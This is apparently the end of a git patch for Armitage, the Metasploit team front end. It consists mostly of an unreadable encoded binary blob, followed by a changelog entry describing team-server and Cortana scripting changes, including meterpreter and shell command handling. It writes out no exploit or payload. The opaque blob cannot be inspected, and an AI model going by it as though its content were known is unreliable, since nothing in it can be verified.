zT%w}dwO3a@GFPoSS^w<1#(Xu?+0R06G-agBG&Ob>*;yPE_28;;VZxHA4Nd*dpQ0N@ zRFfB08!7t+#oA8wO8V|OcS`ZvxSJz&-Fd=O)pHKde?O|ldyabW{IUk=SCc~u)JGmR z-LYB!S?jo>pj9{cP5iuPZtydC?|Vo1$n7jkCENG%!p9?f!mi%Bx<`50^196(k7Y&` zJqXc%m1*}dOR22R@@i*kz?1Bbsp8=w(SBRH)p=s?N2dEFmxRT}^gNDOFfv(X$Ian} zSF+8H1!%WhK98(@vmkP>guG5-hr3mUJCD=Pz;FDyuGd{|iW@#HYkXRo>vyAE=dq@j zx5UFmZxm|e`GYSw{`7J_w&!5(^TP9$VP0nUmu6;EF3x$BSa{yLf5zblV_U9{i+{34 zZ%onAJKGvMukRSQQ6^9~C3c^-R7KB=qHUR$r=-kBwCz#1s-C^&-X8IJR;PA9jF1-< zvNBLRml~XUr$Sg(`lG(_?Rh(Of)r<4-X5K%(Jdfe%;@%WVQW9Wb{cTsQ@ywEs@J-n8Xox4)TuB=RIN%k#d+AFG`U3_}WEto6@(q1kIVtMJ9# zw@shID<{=O@fI&@#US};=E#JDBIPQHpf6nZ;&r5baSd-h1L}>aSZXgzFa@>ICa}|A_R`ahau>V0yys zR?e0YOMGK~HlCJw^8gGc-f??7e}_`1iMqdYl-I-uH*72e@F%lRZC^3RO)fRkOWUAx zeq!vt6G<-HuZ*yqqc~%@<0H{Lti~tDk}~dBKJU-IlhzshZvJ^8iH!Y*Z%#x>%UIvP zKieT<^O)zu({-oSzFY9=w%>3i;nfk-B(^WLp7lY&FtvSWw`BVh^(8X`lIsd?pK9t) z%u?)qbwGIChSz-iex6R8)OIRk!h#KUGYy7YCA?HfiY-sGTIAo>Vcp(dZ@Y6rdD*z& z5I5_fvwL{gr?0RR0ZHB61)sOfi}E}(@rL*MgK}yo7QU@1_Dd7@-a37T6*)z@;iXpm zNrRbNrAtmXBs!PIO*>kW`e~8p*`P*yli2H1k7-Lw?{l1UV&;S+x%i`xrFwEF|Mcd^ zT`!#T$;}6Z+hP-j7aj4v^~K#Z{Qkwp>04*II`E7%SQFk}QFdj|JdyK8luR&~la?<8 zv-VGYl3CF6d9|vS>3kcx&nrI$o2I<{rBhbqvU*xTCg~6luf5ka80K#o ze^GINfq0&Os@<)-$*u>DEkd(q=c#?=_uDJ@xhmjHJXCH|?ugZQ&K$ia&}7wPGq*dd zY|`rZ7bb3|(k9n$?BLH^Shi+_`ksKuC8cgfV&^rE$Qb>dIN7kysMT6`xQwFFzDF-l zdA2RcuZ*Dlk-L>hrMK^`6$v!LY`A27c=Dnn!-wo`H7PKfd^PfKP ztvyEWWV86LwNtOP1YA&bh&SI?>z-5fqF$xq+^e=ZJ^5aGEmZ+KdIA@EJc~Vh&U&jx zXwO46lOO8shIu!`^MXynZq7m_R_pINNgtBWI2jlnCY4cZGekGhDxPzyG#5i(5kHEG`H=TYnysPu$kpKk<{o;T5x!W;?{sf0Ao? z(O~Bu^@Hl0itW=z9=zGAXzX`$p~CB8^J^3RUCvn?4)RRC_k8&3L!0EjpE+<@@Tlwf zUFKi2rdhrVo4&>5^*KmB?izG*W4PYBh3lwOg3ht~MJ9MW6SeQLXg&VidTaEK)rA>% zm0UB^pNqL&$*9{q#jiT^cm35!%W<<^ zV+^Gh%Cv}is6Dd07XG^BKyKe}z4aqw6C+Y@9U?+2ZGF;Li49w)&_BsD=kpuey!xjN zFK!VV#BNoY+19C;y^Q^_-*sEQ-kT@QIro*zEv-s4&-$h<%9mbnA+yz!G&t*bEo>Qi z`sps)Rd2o?ZWEumLFLfyVt2Cx`)}Iaz4xYnd8Jg&)e*^(Y0)OGB6mGrY_4B?=}@Vl zp>$vB!k?y|#RsYm3kLgZzYB1>>iQ-)wfW2B9`6Wo?^mLxl#{F!sSS!|(-Z?@x-5$lsOR;aqZ z?Xt`04*Xe>>b%5s!{ww&A4cw3JSO&cCA=*4NO>NbV81SG#%Y^H_X_W-nU8#RtHt1F zLs$9*6}i_U9|V1!GSw0eZCRybm#DM<%dF2)>#uEDY4yz73E&FgIa15_WufjCzlO|6u`P+Oy{>ATD z+tiaX{3ljhh2>ZepD=EXK-k@vJ&zp>Dm|QolM?)D_x$Ny?7wEe%i)$!Q=-mCk8Vm> zsr7eD*3Xd0mfP=Y<&A!EpZdD+Xft`5S%HV71oA4gcJH~B)MVH0S8OL6*{dl#$iw`+ zJ^1yi?iA97_aj~y?;+PS7ivdv|KZvI>NtdGPAaLxd>LzFDw)j))g3_EaWARQAgO#r zoA#2r401n+==xq#^IsZI8o8W7wP~2PJB=JUfDSMhA?c(CbHNnXl#a#GHZgh?fTPzA z$Z`LK_5(+#3dphlX!U&@T9Pq*A8Ep*X=h`(NB5D&3~Ja%It^T?f@KD2$RJ7D@KqV4 zHiH-!&t-62WYT)+H2OYhUor&Qh`;YL2DJrBI6mmn2blW$T|N!&^kaa{+E__ zfD%TRcsu3-tHzeOz@Vu@-a%6DA9_20FmlcejbT!S6^A&{VbFyEgcW7a2w`L= z3|wF%$R@)Xv^*E{O68D7|I%jWaKg`ca3JTOm8#H|L+bNkl{f&!WzrZ&MRGZgTIO=BM)Srq>5QHCbJ0$^ z8h+=J*31P~uqt>SC6yQ?)}!QThGCk+h&)bHL0T17=8?0QG{&6wc^q>PIWRO< z|EPa?^YTe;)?ud2yvoN$LN|FvmDVv*gF)ktk)wvRf%Idf+&}}dWG*_6kraJ#LGC!Y zm+klkC$MqT&h(rhr!W_G1=zc2CVAkZec)pFNlwz{fs3Y-q!%M>QpmZ88MwGVaA9zY zlPh}Q;?}^0S`q2bWM5ZAPGv4`7m+T^g;Fu;$y_WcCMPo&=ZmohX~X^wFfOM_cZS)2 z8n-Cvq*tdodaTcI+=(B!xPuqW?x|Pmu<&5~;j8Bwpm&zE)5LsEo82DX@W5ko&iKts zb^O-lz`xvhJBU3?nlZ{xoh4O?n>!%xEUA<_b*DJ=oF$p}WW!%NLyTP zTC`&FkI%UW_>S$3`oo5)4rs;C-1uj^XmLf@Q9?4W(}tW9RML4EE|rkOnY?C6O=^d6 z`?eho!|a3qa^vgsLFyc7#YpWr%;WL~r2=uIj9cp5aau|XHk~7783!`XVF}L)7&bNR zq#(4O<2dkvPI+8Nr)WakfJOG_NmZW7FzYBwrw>5L>HL<2#g7C2LgR&;v>= z{W8f1YNezKQC-6%c+?I_SVt$++@cepxRi7va_Sf%&)edlQbtn5xCczyxK8RoL<%~$y^3@u z`nC@;3Ltca96_Ak$ufag$f?A$-Gj;I@aGEJOY9kBRN>Sf9syW(73qnG2WbW9I?N*i zEj0Z&ZwNj18mhNG#xih?oIn_s(7*vyuan~l;yeqA&hse4lNaddjq9We&u(bHPKFZ= zb>MY_Tuv0UV2Mi$XFgi(9OBLo|& z(Y%=*gS0Yypc&rRG$Rk@HKYSE@&gMbKcSvGA9y5S%1<=wYz>wX(={aRM-4fec-%dN z3IB){j3JPMHMJ<6)H9f-46SvfR9X`;v<{<&LC!5wF|Ch~XOhA67Ul{SU|8r8AQV}8 z3(`CVkbR5vCVncjsj(`A3~1a&<1eYO%mh_J6XIxQw>rxxXb`fjhS#@IaSO%L%5~U7 z%WYT?Sx1f~zKmr-T^%`wP@PNzc{ntgFoL!6oW37Dg&5i&6k+)taz0NV{b2#%LP&tr zT`c;I%V1_%h;b#vVaW%M24goa=WARCCB@*kb`T5j7tO?>oK9Z7fMo<5ux?8hvtUsJ zHodw~7Wgf}KtC0t#Gp!q;)72O7^`PX*|e}_7(&PUsHZ55WgNl@Imo7&D-kT?xtuG% z>;uf-vw}_Ycz~sLMzWyj0qID5Uqu5?qAZ2}Q~-xPgecU+Vd)W#qy{0sm!&iJ5++dJ zh{aq>8)QU5{UHWq&pw)wgP?~v3)jvdASHvKpza~glq(J~NE2MM2{D>tMoSIiX+C&1 zk*>tiWALeoRELXAq&3fc=xHKn5))2?fTYP zu1X9!%L;TO%?fNi&m~}Ro)suKk5LPIL~D4A;n`lr(z~x>)0cjNMTuS=WOQLkDGCZ+ z=W20zaQX=v>w9ldjvw@zariWCWSQbdtSZLH>PK8Q1V3U0Iv)`V@U$62`k;+vG+Ia} zo~1Ca1v{4M3yzu>*ssIX7V&K_IdJ(2y=u}0x*h<bL_nbd`t>!N3*53hmnz_lcp zw`0qy6N9!@qTs`;+K0>ch+G|yC+*FnxE`t@i|A9m~WN~XUf+4(`R zA(t)uhJ!MKkZs5-03OdVtY3!HGzC-Zcm=`Z1GZ46+g*K*?ILRgnBM(h6P?5POY=2Som3=fB3mX5H$4L={b} zTsJ_-K=(_G{>4nLh|J0yNau&nOkR0bXx|$wGWjTz1gd#RV^pNz2TiBv57Od59m5#L zM&nT7`4)!?*J3s;`7I9N>&~;F{UWa@^u9%7VoQfGGu|QNeQ}VHhSGQF5>d@EyQ+ER zSYr&{W2wcrSvv4N4wDz}3<620e~)3j^@L@#I*xhgS#^ z2|i}7CkA7?F&M*mnY7eGenD8N@Pr0FGAtPW3Bhk!79`PNqyi1};ROxu zsjy(oX9PX!EJ&rnB~2D|(qO4J1JZT)1i|GCT4Srrrry;>MzImw#+ffzOO<*o{pAa0 z+G@xG*RKfX7_;EWR~$biN3%fa8&+oG7#iq7_&1W`@rCSfbwTAjW<9o% z1rapJ+{^;AEqpRyHeIQ7#fiC3#SaL&T@$vvl4!NSpM2`TuI_^ zs1F-|TIqjSvobzeHkVO9<~n%sKj};R(Z<&m|5&J}nYEYyF=(|IIR3`4e!0QL^246r zSf=*9e=Ky;%$K3ehI&3J5H7}1G4K!ei}wvfq%lnht`Fyoqh){4!kXqG={wNN?_<;bH5I3x7rmEhxt`0@O55F^BoLFdEnUBN?{@Y)CrgQc~R<~ z42LS_rN;1{ko$*(L6nc8cqI)v)HFWInpet}LCR2)HxOz*v>|FNhyKV%jpS8#Vvr`B zbmCWp0Dde+dOSnvLotmcCoxD4KJlZ@cau5DUVw7s?RMp$y#mw-UOfED#wgI8UliU8 zVCHw89BP>tza-cSB9%0QLrKm=Dv_q-W^<@h0sI1Ra5nz0hMsyQ1@KFW|9ki~3HT=_ z!45#tLHyj0177%saNh1blrrzbMgJu1c(s;rP=qiw zikDpW5AlP-0ZN8>(uXI)7(9z3{9yT#UlxQ#C~Kns2snyRF2tdu^rsRS^xF{tB z*F`85o;mPLg!1LRaFWTR0G^_h4R2Ht2lW;4OF)q*`oH=KL#e_KQLNY8rwlR#e=$0! z&p7C!7}|E_1%oK47Q;eDh+`qU!9yGiG5W^Qp(#P}!!2yp@b0{2A)ck7jX%v?sTRS zf|6weAKK5ANf>AFv;g#TRgb+g7O(J|PSb$Z%IN9UKddd6lqm<|!7%Vrp%mbiP`izh%NOsBKO5$Ez z>f~OfCE%qRWyT0)e+hK5!R55M^23J7acS}ZQk~Le7EOJxS^lo&EUn@<3kLt?#+O;b z3Ux}KS>DW4r&NgxR&YU`GGK^yns{OjzmZ_{Y?-gU{yFN=M~jpOwa{k&90lVwIN6qJ zP^!Grwt^6Eivbw@iDVZ>SB@iV#-claFtZ9*W@osoK^Zee{-X0%I0%B-SV3j{ayJhl z$2)jp5F9lrRUS9+*Q5-!>E&j*@8TZCXiqV!<+jJ%Sr865WAT-m6uW3$N9UD=x0sg+ zT+2Ggpp%#{9M{0P^QM7?7G=nML8tY=kr7oOsZYuCtcFNr86yvBp^?ix@Rsc%s02?O zI4i%;i1r>#x1Yx{WHo|Bp&<$VMT?r&>Cb zH@q6a61u26Fh~&UgHZQ&M~;s|MdvoXLtTr|M{e`xL%1$w!1xehA3CcZzr?Zv?{vCc zH66D|5PB8~>d|*)wp!lN<)nn658;BkV4}yNN9$3lVr~(F!-B%YR)#NKNP<=Ysmxfq z9+QaXM99#ij2QnE5|&NdgEpo9kAJz)uE+6DSRZpO!L?XD?1x=D1qH!TpHr3xCh;tW zCHkCr9qeuFuls-F)ILAbmZqaS;{C2P4Xk!KTJo`nP8=*_hMIq=K}1lQEV}s9J}sDfmFL zF=feApoC0p*JteIE3jbhF-#xYj4544C?Kd{Io*n_(R*&8DWGLS>6+66f=y4~<1*o4 z!yIuBivFqBfq%L26Ti}JX+`9`uzBRvc_AR(Ps%clHKDazIRSOP!3N8%m;56LhyDo4 zLzxLB#>noTbo_fzq*?hUM>l&&kK^2-@WlGC1vRd$0&ypQt zLk(8m%0iiY`1c=K&@`jiT`W&CEa$y4=2aF_hOK6lB2#raG##tT&`R*gjAFOxKG1Zk z7E_WesGC!=Ol{~&&fDvQwJ{Ux)sV|78}KlvMl#Jly7WTL39O9@* z)q*l(LRZ)8boM#w+l2ZwxXRae5P~!ZAx)^o=``cel@>A8T~fn_&BuD>mK_foBxTMN z=uToVBxVXh%uFG5P&>e>$1>i_=I(G<#nT3}K!I~v#yGbs`cB8AryNTE=FQcEz zTz;N_28v?0@B1+?VHgSXEOD|!T2eBM+v3F??_OY53vAKc4b%?;Eh!U5Xr<}+31`r^ z8thWsLaX683Nap7UZ1e~5*Dt5t%Bk*V*YmU8cylJukAuo^hOjL@VBnh1G7=q0{fl; zmwXs_4yUY{8vOfd)hK$%Gr{QUatTe_Aq2HMg!EwDK>v9%935;+hVR2EW5(=`OX7YV zn0YeBmAgvgz`=@BrD0Z>>p(h;wZexT!;zE>Q*J}2it|q_^BsE4J@ryLDg?WZ3TZ$< zC@1=F-Q_>Zq3m=V+_{T!1I-bfVmwA*F*xVe8i6xPvmzl8*gb-i|J2Jri$u}PPZ$X9 z4dVnTA3>Qi(QRG1()%_Fe8IZn?i#mCK){+)$ClPu%H2|Eu))4kRffaSTq{lkbLa8A znvUV_$C9kLB6+cFP+kHqUKEmntWlgy0)JZz6>*`x0$UY#9p#h{W)g?&3hc$^BRMVH zZX_DfU(Ke6jilIPJ1I0V*`T42*BfKaWz)N0WN+&y35oUr$;2);6^2Pb>EQ zL4V>F$n((iBs~nu7_Lm6t%I427+09CTQCaCZ-2%~8pW9yH$O=2&&Awr_{Z(wm-n=& z7C72aa*UOqyYqxovB0+&K$5G#mQGgm@dqL4f3eflOYBXj^kx0eA?a&>2}wZMz$uK~r>2VB zM`dnkE_Yoo=^K(Mq+dwx-_Z@*@g9y5IQp!|=MjA_OOpEsGqE$UP+Kg2oDj6yVy`}K zOR?u}s%SP>gl0!D5fi*@V(yF462s2H9f4vcupGmQKtrgT-3FA{g58Jvp5=na&&J?W z^uaNd45M)On`gEkQDG@|Xj3i|`Lv*Z3^kgmX)!yr!%mkb)R-R4u(N4a+6*M^v7hg< zqvV)b+*7-~-jg8Ej*=(REZ8(H3h&JHoSrF?Kfqzf0_<}KaeUL~OcUihHbbzoT)Q{(w_l&0fONF7nOjz^ZxMMm2 z=@DfNtprsUg~gdMhcRmdohDn(Njp?QdyC_d5IrlOUv_mbv`?TEc&#cJ0Y#8<=G;SikoM+SL#&;jmul=CM5beRJ&{Oyle95@cOJN=858-tF%2iH(I&oN< zj<1sAwvEDLEfXm{W7@mSTl;)Yp(Z2rf_wJo@sX(%a#}H0!+Rif5@pP^TJ;-koA;v93;4(VRC4r}FjV~(mWO7XKrkAYHb`Ig#KNinY2i5B zf1AXa8)!|&NPOuB`^mUOl}f;d$<#vL<+$Z=ieE$@M5f?c`&Ka)rEX9Xgu9X=0uVk0 zSFf~WVE+`#o%kUOol~f3#CvT>alx@wOJ76;`do3XGRg&)*dFW9v^#M_7dl+1DMYL( z{izJjuGC1Plwv`rm52hIbVaSZEm`J;8{XtZ@qfh1;Vk3mM&XXC6|GGkw!2aG1fMkv zET&QdfEh**z5f^+qH`oHo=Qz1tR};$snkSb*cAFx0XMHj1nC7hF({sf%a|cvB2w5J z*nhe4bKFJX^b8SMNb(Yqge*4{YoCo`rPH{?PI_>}nx~0KK(RXx`RUUbN)!5N6g8bA zVCO+i=9Tl|piB>HIIrOX4ia?1+YY1tj|Z-~tFI7&hIJxJ;29-?+pM0b#&;!$N?Ii% z3cG0PU?hjiUW?Q-Ph4vM8a0%%_rf*tWvl;DYEa;X8P7*ElmYyq(dRWBf$`H&gT*=y zN=HO2T@Urss34wrxHpY5hB@B2I$OAr<_w{G3$_4yzRnu{*c(O~L0dIlO2kvo`%TZVMzI+||GXX)QFs4>L*<1Fx)NsT9V zoMJ)wX%X=uHr|5%@y#Rjg3J0hKM3O^FyPS`eL>XH&{B`7wu@dH3$TN7k|;5IB}O{o;IM? z@LAYz^zYM*D$IU}O_$O0WEScve#p{Nv$1>cdO`zlUf))Z1r@U?CqnmSx*s)@@Oy_J zN)X|PRB89XH9vg(gzXy@n(%J<%*l5Cn}|F!9J0ZkYJ?l{t#ZE15$!WLMw7?fV zZUJ%748&n%p2ZOQgr%r1tMfu2W|=~9r{P(Zd1$`O@IiVqv11GiF3rP!6YIo+VrNlK z4cpE~Jx!AaX+98j6_tS4`B;yKTv@u_T~wN_#}~A8oHt7=1fjP_XR;ui27R+=u!0yp zhyEN6J_~SUTpmaROQ;CKc18tbJh~R3mf|3m?hD2+G4$MpNPh@s>5~gFt4Sye)Pk|a zge+shP8xg)XThIfEY<7>ff(XgJY1na zM<&3y5NahcVHc}%*Pa1`#6r=a&3kB?g1c#=0uZ+p%@3pLh%A~`gq%=pK{s<)&>xCM z?>fqYs$-&ZY}8avav30T96l|f^uX;Twk~E+Z&*TU5Tz$*dLGeLM1L9#7HC2!UZojL z@VtRF6S`nvM0>Xs+d6Sa6g(cF#j4Bj_Bf)RK};JFgWYTKUJ<_xt)2e>#)hG_CCl)> z75I<^f0tn(=eE#b67SbuQIPBx)d6xl>W?VEoaJGtfA23*DEcj`2mN8#A~y6vY&eds z_Td=z`TaDQ&KvVvG%Z6+8^7m)!4ZtWOniTFpNc?Ash{2erj^Y=o=_eJ%Oh}~?1B*e zsRC^gxB>c6m<3kLDJ!B)1gKym98SidLLXy8p;Q)kKc z71U@RD~MQu?gi5N@yAsQc)}`eXAaN!3j2GrCXkLjMW~+vSbR^|Q;NAu! z5fzC&#MG7re)eL*FslqbdLD^d&f2rITompqT8w2ufRmUMtc$|9*o+%waM^5vm;k*W z&9R~-3iC%!V+F)lVGA*x&H_IlF);{Rh53KaW|`tu*qY4ez_`^od`hmyfk!)l2HwQg zKt>`x8mAY%L74B-YRtEF-T-S)e4fwhco%|JEsVy=Mp^J6qX5nL@W6&;c9_`E{@}iZ zm5K=ylK{gtsCDHsmI+yd0ht`dg32`*vZd=-kQF1Q1s|7Vbk-$cX)bFi5h8pOoL-0f zm-#ePyBX8=u0_v_x3ToywbUpgCYc5L>u_XCO=ZFDbaZFicFd5r4l_*2plNU7_dzyU zZ#`xV%4Na2^_Wrm1e{(^O(!agSW-Jn6R|QM(o%4T>?ht$wt(-b0glQ2y&2_Pu#%c z;Is-%mWL&qu%XG~k!+edzX>~;(^M9SZl=Z&@zYqaXfyW7wCOCU+>Bw~a}w9gp60w27yV6IB7jM9P7; zxSIy5@cNUu+>lWxKM}Lle8a8zWUMf)ofwV}iCEs(pZ_R%Xivh2_J|}5?*U%$OvX6@ zN;33R!c>Ht!P7M2c#Z^3l!BNY=+H*FK>;0T+<~EW!Ff7I$uwe=!61-^13Pi3?lqzr zLl|u)p}{&gA{q6_nbPzkqR5>7G=-?`lr9MF!jw3Q&ET>Nb5FH`_FcG+c4`;4lUrkG zFoO^u3zjLAI!xbQ{H>gz>5&{WhET^Bt)Pf1-nN2T$Z^r zUqTfA(u{gA%S_&bJ^mQ}8qXfehd3BPf8q>v4?WjhLjydwkctv(V&KzWypIO%#d%vr zyo3<^(i<4#%2LsZ$k-tQe^PNU3&$UC<7BZW+%srk1iP~^xPEyU+}j5vhBm9qnY6$n zV&p;k(+m>Q(0@rhL{F=jT7ZtY9>QGT)3B^31uU&tBq75rM{sUI>6q4hl1jlH4hNLk)Wp&&00SOv2Pyj~3#b|^sZ5{wl>*UyDD&Nsr5z?n;(@2G0bir& zv@1?@+F~9)*iGkrpNk=L$iM{Q3_1ZTI7?E3-j9)jqYRx7S2CywqWKj4X#qNCB(>P0 zl1e3q1|jwwE6|dOeSGOf8lbZM7zt4^u*||HZYL?F07d(;0%NsUrdU@>7Ji+_vgEVS z1WR3-_9683=uZPE&cd5$nE`yt!ge&uo+gzb@Br42&kUG%5SO$s9l#-M`%D&S9K>Ey z;X{K!q8r;$7Pf#x0aB7+<}W3})*R0vEGNQmFin}R8WSQoV33i5tV1|5|K7Toc z5jlqL`n?{)gwRaH+d)POiaMnPIMsa&9f|)un1-_nx)n@3j&$nRL0S-Ej^lz;@ON$o zl^nj`>1kfDJQ1QcMmYgVDbTw;YT zd@8`{>l-8b6CX8CQgUEoCanN5C$X9&O$X@-M65XrPEpd#t;&RVE;cmF3Tb_aE5t=0 zvBezZwnSQp+46<%LR`(|-N@lboIsnM2PhymjWjJZ zr)SYX!kGo`lkqgbpCYtvl`G457Gv_#`7AiOP(~Ea6=QPEE}HQr60_Nqd8biq!Ce-V z)8J7b3*^t>>DcY+vaBn$TC#YA{|suFG#194#S!rG8N45Tabtn_Ssll z_mPzXk+y-cwB{_<-@5s1TERkDao7e}t%@Z`-(1YnQ%dmWqY%b|eI;0P7b95kex>2Sausx4+ zuGme`a2^NR;sjYm@TX6AGr7*4$6TM1=rnIaXcwEo?gHkPI|Y`dIHvBpfbApY%peef zzZb9tt-D4u(}+{o=}#SaUyXj^Ix2n{rxYJVuU4}edP`B&)mj?JK~J5m4E;Q0LL}d1 znTiHkeReK!w+szYz)npI{wbp@nKj>Rv%Y+JT=S*hi_N`0tl9`37bzV^D%dS>SZ^ZF zuo65T#k~nI{~@GY79Ylc#%DsmtKy`$Kw}+dO7E$-V~Z} zZ-U@*&e@=3nwazi3d%Wq8h2=7&L?kf^{tf=3?};nQbDMYI1L?sFQkRdSpl zx|4!`cwl7kUv9k8R0yx2v>BK7C?{r2!L&I1<31?iiKnwFI0q%3U`fP1clchx*(p%3 z#G)Za15U?l$b)AkXGdW!(nMDQtgqzQe2^xNzlHKjj?K?#;%_SSS8}!(v@g+4IN|u< ztc$B~mj?DGkS2=8L&7D_*2+nmsG9(_mncKV@@liU<0gvo4AWQqZ)M0#1gXoM%BbBb z!t~?``nEf=b&D!JRAg0DOf~)S~lFO_{vpBJQp{!)oL{H(_?17Byp} zgk8=bzlyCAX8yNv>YSmaR49v;OaI%H91d8??~)ic?7Yc;o09rnWAM6fEcZVfkkZ%C z#@44`agDQcvv-azs6}BDKs-f&;(Aan*49`y&C>*H~q6il6Yi^XkHMB2 z%t>!uRcJ%Rbtm*G~Fp)Ut(PQ7iu+vyOdtIa`d`6wxK_U9#NiCg~w2xE^qW(@ARSlD92{ z*Ecvp7QTr@UIZB2^MK>u;W+O~6X_!$J2CUQKzuINDnn3t|RDbCvNBtc- zvmn6xn;iAx)kx@Pfk`!|S9l=7n{>Ms-ZNQ;(Mcif0e;~#^H|G)&|PP&)oPU@4>8=Q|WHC znC&?agw*1Vu>|*bTX7OIR|6k@Z`a~&W~m6vh~2_uADmCn$qR1bb3vsH3(9Wc6T@f) zj@WIy50@*k!0$HRxkjt9pnwLY>MZEHjq~2eS}bs@!y9?9J_|Bwu+)SFZ|iWYBh-uq zPIpkXsRavC?x2_%ZVb}qJfl;VSh2w3E~bnb$pX!Lln`{gm!$JJZJ7}DhT2AD6@YOOBdH;R0^jsAiV+IXu>%e?UM%$-cM!0!3LD#@nS(Y4V0&| zz~Melrq(WF!Pfie`nI(!Xn%mNx8BDUCzo}Dj3kVBfHGg#4`EKFm`c#!QNb@C#17IE ziH5jAAPH`bm@8!CAR`1l2Tb`PzY&)ff;az{{?mxlJz0F?1?>o92P1uZzo{^6dxP^P zCYU!4a0SyI--j_&UIr>2qD?=NhS1rEF~-H&7{q;-2h>Cz=2Fvz2e${+pu8l6HlZ42 ze4WN1E%gXjZ_Ao6z}5IpjiIzHA(l3T2|SJEg+D?kf8v*82L&0r`Vl&LHj|qcg0LcV z()=+NS(wG0CJkF@I^xg}y8bcFE5GLqVVFpfPq0=4a);1yPp|@}<2yYDjZm+|Fi4bR z8-Du))rR8RJ%*-9L-Zq@F}q&oiq5qYL!^?LaS>dna0v6J8T<9Sq9IJyb&Q~p7|uzV zIy+a*rOy29pr{}`tHxl>YQ#c+HgHKTucW0k;X?~H#!;78;P4cSnpnkx15dFou3u-t znkS}mAkvCHEvaT1t*7W^Ak7rkvP?lMK5p{ep@BDX=N?PWXrouX9AEP2`SHT?Zf3AOaA?hbtlzMmyGWpp-tA}F_VB0nsNKcG9~R; z5w)LK5F=nF%EsBS1LxkEUs&2h$V>soe8xy@qv_4xXj%iTKjUM?V`O;KrOm+Hz)X)7 zGJcMfoVppfkHCEX&+%(;7c?292bZ2>*@`;g@Pg8YyCcombB%0e1dlQsIvTYxQvSpX zJzClbuD`%=bQ-YW_!u+%ivCMfw!oNGw&5iX+lx$Dpy6mH37vGZqXo;@yuwyLilTuQ z?0kifE6Ya0=u%Ht?f4r0i z8c^1Wiw@G^W)QL2OcO*u;P+;qu*i&lRf`Gl`sGZT2E2*D;|fgAtNVa0$$bsH{eVx+ z)H)d5MY;1%jx~d4sb)I#Dx?%tbfE{m@n(4B!c2>$gu9VyNHl}Rhs^X@%8#a~WHS)W z!;qwR;|h9Y3WM}m0nv|GQWikWM|{?G_=w%q?l=wH2!Rt&_mOht^(irf?iw>?m{Kw@ z3Xku>Ob;tyZV!I3a$6PsiN^(d@b-P}8Vg2$!U=>-4GmOaM-O&|lb_I%pn5a-^%7n9 zD1#C2qp3#^%^>VORt|O{+zfbY1{;2(Kq8H(PiAo8Gv&nV|HTYaWX$D2>I;66ci;Da zNC1MqU_=-EVkjjj`hwB^^_xL@^!sQyV_B)Z`Oxk|@j%BH+<18=Z;so+{Af(*SM zT}I}@VDTNB=}twK3IC2`&?6Q2^d0q=)1X6>2D6AA+VrOyIE*wGfUqB!M+s*{wDO`K zxQum^90X#Z)r)=87w0>iWPB}DFPeB@%n-)i6U%PxMLpxkvb4rewA|i_1(iQ3VTk&P zqcacAR%kuQj3WXj3<4og|AoaU;zWf`Uhs<=$!NL8K2`?Yu@PT9zu>Xqz z?peVQ@E2DSyH+vRKmX!FV*gtDI?dm5JTWN-FTIH8Tj*lsVQ1!mX+}JjDn!UumY&69 zIfl?pWWn8o<_55j?k*j)Oij`tEe8gKB}M3_aG0YQz}}v<|YM_6*ht zP9O1W-+X8d-yxPRJd5=0TS!auBVEg(9r-P7i1ch$X6!k(tC$#|^V$K`SA|CMz$Kv7juIQF6Z z|HHBi?7BY?f^r|%l!6ooH4%)#8l_37F&)N46mTTNpJE+j@(;}%jz*N3MUENiOofi7 z(Wp6Q$&A@dLTYM;IwYB-V$^ro=foc4?^h`hk*byaz z5S|ceRa)m<^RNduY|dH0=&px39{9DftIpss_afR8jvK+}73vS?xu$JPC^rJ{)k|q( z1TQkpS}xu#4Uy2y^*W<{Z?gm{jD#*-9!9kdxWXNnsx+^{_ob~YRV-hrrh|19AH@qz zd<~UH!KG){QEL>RqTJrh$g_(@kvW=YC|4WgRh-;0DMJ@)3bxd)!Y}h?yo{L*v$rt1 z^C>J5X|NKT$mWzqA`RdiVz9w|Ye-SY}-c;2@EC#9~Zb8K$C`&(L z6tSPh(#9Aa_rAbg+(|dg+)6*ia4k*ax}e_KrBPjGotkL|^@rUWwE|QbYsf9Mda4nQ zU5uT@MhmD#gC6igi(0}bj6p;z1L;!6jH$dm0y;u!YLA7c`wlUhcACZ0TAObD(+4Zk zvSEEH!hy!bgN8PVjixQJTuVIoOo#|RrjyTuEFD;|^GwJxsQD|z7)3;%(6NWkF+Wl* zx_7cIkaO&${#m6(m(#l9p8Z3_Rq`Bz3vmKCIi!o?~_4eZK@WR?Yi5T$(V0RvZ`SdYVOVFhaK8k(7sLTC~`TnAqtpLJrWBAZ!bW97pV2rAFgwSCxD&yU{@_HcJ;U^>N%P>-GdYdUW2wxIOlWkmk ztWgF+P=Q(3b`id6w5m}|7}vd_?TPQu>@^5A#)LN`T8fUHSW#Ist)jBJl6*c_wR>*m z`n`{>1^xt-F!Iz}X^5R`i4LiD7(O*YC7y}$r^R-CP?v#h`qxhFb{;FvNsW@jGGo~V zKXEWB5>E$3>3y97s?8$(f;ZT$@s1j%^ERd?^oWuVPd>yOouom-C#ZgO+@dEVG&S7n z*#!0bpuX{m0CvbowT?ox?4^!jXz*T&pqj~?@xH^;o2gPqkvd!y zXwybcu@ip1nx)dI=TNA#-l_Yw31rg?<7mH=Yqf#91!2;73UcWklI{ZGcrF#V^ifeI z2ur6>kBi4qO(`lvipgH~$JeDVZ~qo?<{1d&8%^ApC-5UBN*)diPnN;+#?iQ;kjA<7 zkv+tCXy|?Oc6g3FL$z+6BxT975Jit*hB3-=%%CHXC9~nQQ__0eJjPV?JozVbEk|+S zoUXx7Q{swgW}3ZlRQdo>L^4NJQHP)dl`28g7B<=|9^zHP$f~TELi&ZrH EKYuRMApigX diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt index 55804871ff..a7249cd52b 100755 --- a/data/armitage/whatsnew.txt +++ b/data/armitage/whatsnew.txt @@ -1,6 +1,30 @@ Armitage Changelog ================== +6 Mar 13 (tested against msf ca43900a7) +-------- +- Active console now gets higher priority when polling msf for output +- Improved team server responsiveness in high latency situations by + creating additional connections to server to balance messages over +- Preferences are now shared among each Armitage connection. + +Cortana Updates (for scripters) +-------- +- Added a &publish, &query, &subscribe API to allow inter-script + communication across the team server. +- Added &table_update to set the contents of a table tab without + disturbing the highlighted rows. +- Added an exec_error event. Fired when &m_exec or &m_exec_local fail + due to an error reported by meterpreter. +- Fixed a bug that sometimes caused session_sync to fire twice (boo!) +- Added a 60s timeout to &s_cmd commands. Cortana will give a shell + command 60s to execute. If it doesn't finish in that time, Cortana + will release the lock on the shell so the user can control it. + (ideally, this shouldn't happen... this is a safety mechanism) +- 